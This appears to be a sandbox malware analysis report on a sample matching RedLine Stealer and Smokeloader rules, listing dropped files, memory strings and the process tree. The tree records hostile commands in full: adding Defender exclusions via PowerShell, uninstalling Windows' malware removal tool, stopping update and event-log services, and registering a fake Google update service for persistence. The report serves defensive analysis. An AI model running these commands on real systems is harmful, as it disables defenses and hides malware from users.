Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C76D960	0_2_6C76D960
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C765920	0_2_6C765920
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C7FF900	0_2_6C7FF900
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C7159F0	0_2_6C7159F0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C7479F0	0_2_6C7479F0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C7499C0	0_2_6C7499C0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C6E99D0	0_2_6C6E99D0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C781990	0_2_6C781990
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C6C1980	0_2_6C6C1980
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C7ADA30	0_2_6C7ADA30
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C751A10	0_2_6C751A10
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C6EFA10	0_2_6C6EFA10
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C6B1AE0	0_2_6C6B1AE0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C78DAB0	0_2_6C78DAB0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C839A50	0_2_6C839A50
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C78FB60	0_2_6C78FB60
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C6FBB20	0_2_6C6FBB20
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C6F7BF0	0_2_6C6F7BF0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C779BB0	0_2_6C779BB0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C709BA0	0_2_6C709BA0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C795B90	0_2_6C795B90
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C6A1B80	0_2_6C6A1B80
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C8314A0	0_2_6C8314A0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C799430	0_2_6C799430
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C73D410	0_2_6C73D410
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C6B14E0	0_2_6C6B14E0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C7FF510	0_2_6C7FF510
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C717500	0_2_6C717500
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C6C5510	0_2_6C6C5510

Source: Joe Sandbox View	Dropped File: C:\ProgramData\BAAEHDBFID.exe 5D3AF8278F2832D439F72B85639B35C99CC50436DFF6FC051456C9FA5443D155
Source: Joe Sandbox View	Dropped File: C:\ProgramData\Google\Chrome\updater.exe 5D3AF8278F2832D439F72B85639B35C99CC50436DFF6FC051456C9FA5443D155
Source: Joe Sandbox View	Dropped File: C:\ProgramData\chrome.dll 81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4

Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: String function: 6C6D3620 appears 95 times
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: String function: 6C83D930 appears 58 times
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: String function: 00404610 appears 317 times
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: String function: 6C6D9B10 appears 105 times
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: String function: 6C83DAE0 appears 73 times
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: String function: 6C8309D0 appears 309 times
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: String function: 6C70C5E0 appears 35 times
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: String function: 6C7E9F30 appears 52 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 7484 -ip 7484

Source: updater.exe.9.dr	Static PE information: Number of sections : 14 > 10
Source: BAAEHDBFID.exe.0.dr	Static PE information: Number of sections : 14 > 10
Source: chrome_93[1].exe.0.dr	Static PE information: Number of sections : 14 > 10

Source: X9d3758tok.exe, 00000000.00000002.2270300066.000000006F902000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs X9d3758tok.exe
Source: X9d3758tok.exe, 00000000.00000002.2268751458.00000000287E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs X9d3758tok.exe
Source: X9d3758tok.exe, 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs X9d3758tok.exe

Source: X9d3758tok.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2252201407.0000000002360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2252245116.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: X9d3758tok.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: BAAEHDBFID.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9904909487919983
Source: BAAEHDBFID.exe.0.dr	Static PE information: Section: ZLIB complexity 1.0022389578668838
Source: BAAEHDBFID.exe.0.dr	Static PE information: Section: ZLIB complexity 1.0415094339622641
Source: BAAEHDBFID.exe.0.dr	Static PE information: Section: ZLIB complexity 1.5
Source: BAAEHDBFID.exe.0.dr	Static PE information: Section: ZLIB complexity 2.3333333333333335
Source: BAAEHDBFID.exe.0.dr	Static PE information: Section: ZLIB complexity 1.030054644808743
Source: BAAEHDBFID.exe.0.dr	Static PE information: Section: ZLIB complexity 1.1047619047619048
Source: BAAEHDBFID.exe.0.dr	Static PE information: Section: .reloc ZLIB complexity 1.5
Source: chrome_93[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9904909487919983
Source: chrome_93[1].exe.0.dr	Static PE information: Section: ZLIB complexity 1.0022389578668838
Source: chrome_93[1].exe.0.dr	Static PE information: Section: ZLIB complexity 1.0415094339622641
Source: chrome_93[1].exe.0.dr	Static PE information: Section: ZLIB complexity 1.5
Source: chrome_93[1].exe.0.dr	Static PE information: Section: ZLIB complexity 2.3333333333333335
Source: chrome_93[1].exe.0.dr	Static PE information: Section: ZLIB complexity 1.030054644808743
Source: chrome_93[1].exe.0.dr	Static PE information: Section: ZLIB complexity 1.1047619047619048
Source: chrome_93[1].exe.0.dr	Static PE information: Section: .reloc ZLIB complexity 1.5
Source: updater.exe.9.dr	Static PE information: Section: ZLIB complexity 0.9904909487919983
Source: updater.exe.9.dr	Static PE information: Section: ZLIB complexity 1.0022389578668838
Source: updater.exe.9.dr	Static PE information: Section: ZLIB complexity 1.0415094339622641
Source: updater.exe.9.dr	Static PE information: Section: ZLIB complexity 1.5
Source: updater.exe.9.dr	Static PE information: Section: ZLIB complexity 2.3333333333333335
Source: updater.exe.9.dr	Static PE information: Section: ZLIB complexity 1.030054644808743
Source: updater.exe.9.dr	Static PE information: Section: ZLIB complexity 1.1047619047619048
Source: updater.exe.9.dr	Static PE information: Section: .reloc ZLIB complexity 1.5

Source: classification engine

Classification label: mal100.troj.adwa.spyw.evad.winEXE@79/58@7/7

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_6C710300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C710300

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_00418810 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00418810

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_00413970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00413970

Source: C:\Users\user\Desktop\X9d3758tok.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\R3G9I389.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2128:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7724:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8004:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6024:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7484
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7880:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3312:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6384:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1360:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7764:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4080:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5312:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7612:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5332:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kqfuyngo.aub.ps1

Jump to behavior

Source: X9d3758tok.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\X9d3758tok.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\X9d3758tok.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\ProgramData\BAAEHDBFID.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: X9d3758tok.exe, 00000000.00000002.2262729305.000000001AF62000.00000004.00000020.00020000.00000000.sdmp, X9d3758tok.exe, 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmp, X9d3758tok.exe, 00000000.00000002.2269220641.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: X9d3758tok.exe, 00000000.00000002.2262729305.000000001AF62000.00000004.00000020.00020000.00000000.sdmp, X9d3758tok.exe, 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmp, X9d3758tok.exe, 00000000.00000002.2269220641.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: X9d3758tok.exe, 00000000.00000002.2262729305.000000001AF62000.00000004.00000020.00020000.00000000.sdmp, X9d3758tok.exe, 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmp, X9d3758tok.exe, 00000000.00000002.2269220641.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: X9d3758tok.exe, 00000000.00000002.2262729305.000000001AF62000.00000004.00000020.00020000.00000000.sdmp, X9d3758tok.exe, 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmp, X9d3758tok.exe, 00000000.00000002.2269220641.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: X9d3758tok.exe, X9d3758tok.exe, 00000000.00000002.2262729305.000000001AF62000.00000004.00000020.00020000.00000000.sdmp, X9d3758tok.exe, 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmp, X9d3758tok.exe, 00000000.00000002.2269220641.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: X9d3758tok.exe, 00000000.00000002.2262729305.000000001AF62000.00000004.00000020.00020000.00000000.sdmp, X9d3758tok.exe, 00000000.00000002.2269220641.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: X9d3758tok.exe, 00000000.00000002.2262729305.000000001AF62000.00000004.00000020.00020000.00000000.sdmp, X9d3758tok.exe, 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmp, X9d3758tok.exe, 00000000.00000002.2269220641.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: X9d3758tok.exe, 00000000.00000003.1843318727.0000000020EEB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: X9d3758tok.exe, 00000000.00000002.2262729305.000000001AF62000.00000004.00000020.00020000.00000000.sdmp, X9d3758tok.exe, 00000000.00000002.2269220641.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: X9d3758tok.exe, 00000000.00000002.2262729305.000000001AF62000.00000004.00000020.00020000.00000000.sdmp, X9d3758tok.exe, 00000000.00000002.2269220641.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: X9d3758tok.exe	ReversingLabs: Detection: 44%
Source: X9d3758tok.exe	Virustotal: Detection: 44%

Source: unknown	Process created: C:\Users\user\Desktop\X9d3758tok.exe "C:\Users\user\Desktop\X9d3758tok.exe"
Source: C:\Users\user\Desktop\X9d3758tok.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2556 --field-trial-handle=2272,i,12078058665247208728,2668639212947365791,262144 /prefetch:8
Source: C:\Users\user\Desktop\X9d3758tok.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\BAAEHDBFID.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\BAAEHDBFID.exe "C:\ProgramData\BAAEHDBFID.exe"
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 7484 -ip 7484
Source: C:\Users\user\Desktop\X9d3758tok.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7484 -s 3096
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\Google\Chrome\updater.exe C:\ProgramData\Google\Chrome\updater.exe
Source: C:\Users\user\Desktop\X9d3758tok.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\BAAEHDBFID.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2556 --field-trial-handle=2272,i,12078058665247208728,2668639212947365791,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\BAAEHDBFID.exe "C:\ProgramData\BAAEHDBFID.exe"	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 7484 -ip 7484	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7484 -s 3096	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Section loaded: msimg32.dll	Jump to behavior
